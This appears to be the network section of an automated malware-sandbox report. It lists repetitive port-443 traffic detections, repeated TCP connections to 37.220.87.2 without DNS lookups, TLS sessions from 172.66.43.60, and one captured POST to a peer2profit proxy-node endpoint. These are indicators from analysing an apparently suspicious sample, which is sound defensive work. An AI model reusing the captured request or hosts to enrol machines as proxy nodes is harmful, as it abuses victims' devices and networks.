Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931

Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.220.87.2

Source: unknown

HTTP traffic detected: POST /api/proxy/nodes/get HTTP/1.1Content-Type: application/jsonUser-Agent: Microsoft Internet ExplorerHost: api.peer2profit.comContent-Length: 186Cache-Control: no-cache

Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50065 version: TLS 1.2
